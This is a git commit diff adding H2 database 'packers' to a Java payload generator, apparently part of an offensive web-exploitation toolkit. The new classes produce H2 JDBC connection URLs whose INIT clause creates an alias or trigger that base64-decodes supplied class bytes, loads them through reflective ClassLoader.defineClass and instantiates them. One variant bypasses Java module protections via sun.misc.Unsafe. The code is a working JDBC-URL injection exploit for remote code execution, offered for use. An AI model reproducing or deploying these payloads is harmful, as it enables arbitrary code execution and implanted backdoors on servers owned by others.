feat: support H2 packer

packer/src/main/java/com/reajason/javaweb/packer/Packers.java

@@ -15,6 +15,9 @@ import com.reajason.javaweb.packer.freemarker.FreemarkerPacker;
 import com.reajason.javaweb.packer.groovy.GroovyClassDefinerPacker;
 import com.reajason.javaweb.packer.groovy.GroovyPacker;
 import com.reajason.javaweb.packer.groovy.GroovyScriptEnginePacker;
+import com.reajason.javaweb.packer.h2.H2JSPacker;
+import com.reajason.javaweb.packer.h2.H2JavacPacker;
+import com.reajason.javaweb.packer.h2.H2Packer;
 import com.reajason.javaweb.packer.jar.AgentJarPacker;
 import com.reajason.javaweb.packer.jar.AgentJarWithJDKAttacherPacker;
 import com.reajason.javaweb.packer.jar.AgentJarWithJREAttacherPacker;
@@ -125,6 +128,10 @@ public enum Packers {
     AgentJarWithJDKAttacher(new AgentJarWithJDKAttacherPacker()),
     AgentJarWithJREAttacher(new AgentJarWithJREAttacherPacker()),
 
+    H2(new H2Packer()),
+    H2Javac(new H2JavacPacker(), H2Packer.class),
+    H2JS(new H2JSPacker(), H2Packer.class),
+
     XxlJob(new XxlJobPacker()),
     ;
     private final Packer instance;

packer/src/main/java/com/reajason/javaweb/packer/h2/H2JSPacker.java

@@ -0,0 +1,19 @@
+package com.reajason.javaweb.packer.h2;
+
+import com.reajason.javaweb.packer.ClassPackerConfig;
+import com.reajason.javaweb.packer.Packer;
+import com.reajason.javaweb.packer.Packers;
+
+/**
+ * @author ReaJason
+ * @since 2025/6/28
+ */
+public class H2JSPacker implements Packer {
+    String template = "jdbc:h2:mem:a;init=CREATE TRIGGER a BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\n{{script}}$$";
+
+    @Override
+    public String pack(ClassPackerConfig config) {
+        String script = Packers.ScriptEngine.getInstance().pack(config);
+        return template.replace("{{script}}", script.replaceAll(";", "\\\\;"));
+    }
+}

packer/src/main/java/com/reajason/javaweb/packer/h2/H2JavacPacker.java

@@ -0,0 +1,61 @@
+package com.reajason.javaweb.packer.h2;
+
+import com.reajason.javaweb.packer.ClassPackerConfig;
+import com.reajason.javaweb.packer.Packer;
+import lombok.SneakyThrows;
+
+/**
+ * @author ReaJason
+ * @since 2025/6/28
+ */
+public class H2JavacPacker implements Packer {
+    String template = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS look AS '" +
+            "String a(String a) throws java.lang.Throwable{" +
+            "byte[] bytes=null\\;" +
+            "String base64Str=\"{{base64Str}}\"\\;" +
+            "try {\n" +
+            "    bytes=java.util.Base64.getDecoder().decode(base64Str)\\;" +
+            "} catch (java.lang.Throwable var6) {\n" +
+            "    bytes = new sun.misc.BASE64Decoder().decodeBuffer(base64Str)\\;\n" +
+            "}" +
+            "java.lang.reflect.Method defMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\",bytes.getClass(),int.class,int.class)\\;" +
+            "defMethod.setAccessible(true)\\;" +
+            "java.lang.Class myclass=(java.lang.Class)defMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytes,0,bytes.length)\\;" +
+            "myclass.newInstance()\\;" +
+            "return null\\;" +
+            "}'\\;" +
+            "CALL look('')";
+    String bypassTemplate = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS look AS '" +
+            "String a(String a) throws java.lang.Throwable{" +
+            "String base64Str=\"{{base64Str}}\"\\;" +
+            "byte[] bytes=java.util.Base64.getDecoder().decode(base64Str)\\;" +
+            "try {" +
+            "    java.lang.Class<?> unsafeClass = Class.forName(\"sun.misc.Unsafe\")\\;" +
+            "    java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField(\"theUnsafe\")\\;" +
+            "    unsafeField.setAccessible(true)\\;" +
+            "    java.lang.Object unsafe = unsafeField.get(null)\\;" +
+            "    java.lang.Object module = Class.class.getMethod(\"getModule\").invoke(java.lang.Object.class, (java.lang.Object[]) null)\\;" +
+            "    java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod(\"objectFieldOffset\", java.lang.reflect.Field.class)\\;" +
+            "    long offset = (Long) objectFieldOffsetM.invoke(unsafe, java.lang.Class.class.getDeclaredField(\"module\"))\\;" +
+            "    java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod(\"getAndSetObject\", java.lang.Object.class, long.class, java.lang.Object.class)\\;" +
+            "    java.lang.StackTraceElement[] stackTraceElements = java.lang.Thread.currentThread().getStackTrace()\\;" +
+            "    java.lang.Class<?> callerClass = java.lang.Class.forName(stackTraceElements[1].getClassName())\\;" +
+            "    getAndSetObjectM.invoke(unsafe, callerClass, offset, module)\\;" +
+            "} catch (Throwable e) {}" +
+            "java.lang.reflect.Method defMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\",bytes.getClass(),int.class,int.class)\\;" +
+            "defMethod.setAccessible(true)\\;" +
+            "java.lang.Class myclass=(java.lang.Class)defMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytes,0,bytes.length)\\;" +
+            "myclass.newInstance()\\;" +
+            "return null\\;" +
+            "}'\\;" +
+            "CALL look('')";
+
+    @Override
+    @SneakyThrows
+    public String pack(ClassPackerConfig config) {
+        if (config.isByPassJavaModule()) {
+            return bypassTemplate.replace("{{base64Str}}", config.getClassBytesBase64Str());
+        }
+        return template.replace("{{base64Str}}", config.getClassBytesBase64Str());
+    }
+}

packer/src/main/java/com/reajason/javaweb/packer/h2/H2Packer.java

@@ -0,0 +1,11 @@
+package com.reajason.javaweb.packer.h2;
+
+import com.reajason.javaweb.packer.AggregatePacker;
+
+/**
+ * @author ReaJason
+ * @since 2025/6/28
+ */
+public class H2Packer implements AggregatePacker {
+
+}

packer/src/main/java/com/reajason/javaweb/packer/scriptengine/ScriptEnginePacker.java

@@ -27,7 +27,7 @@ public class ScriptEnginePacker implements Packer {
     @Override
     @SneakyThrows
     public String pack(ClassPackerConfig config) {
-        return jsTemplate.replace("{{className}}", config.getClassName())
+        return jsTemplate
                 .replace("{{base64Str}}", config.getClassBytesBase64Str())
                 .replace("\n", "")
                 .replaceAll("(?m)^[ \t]+|[ \t]+$", "")

packer/src/test/java/com/reajason/javaweb/packer/h2/H2JSPackerTest.java

@@ -0,0 +1,21 @@
+package com.reajason.javaweb.packer.h2;
+
+import com.reajason.javaweb.packer.ClassPackerConfig;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.*;
+
+/**
+ * @author ReaJason
+ * @since 2025/6/28
+ */
+class H2JSPackerTest {
+
+    @Test
+    void test() {
+        H2JSPacker h2JSPacker = new H2JSPacker();
+        ClassPackerConfig classPackerConfig = new ClassPackerConfig();
+        classPackerConfig.setClassBytesBase64Str("bebe");
+        System.out.println(h2JSPacker.pack(classPackerConfig));
+    }
+}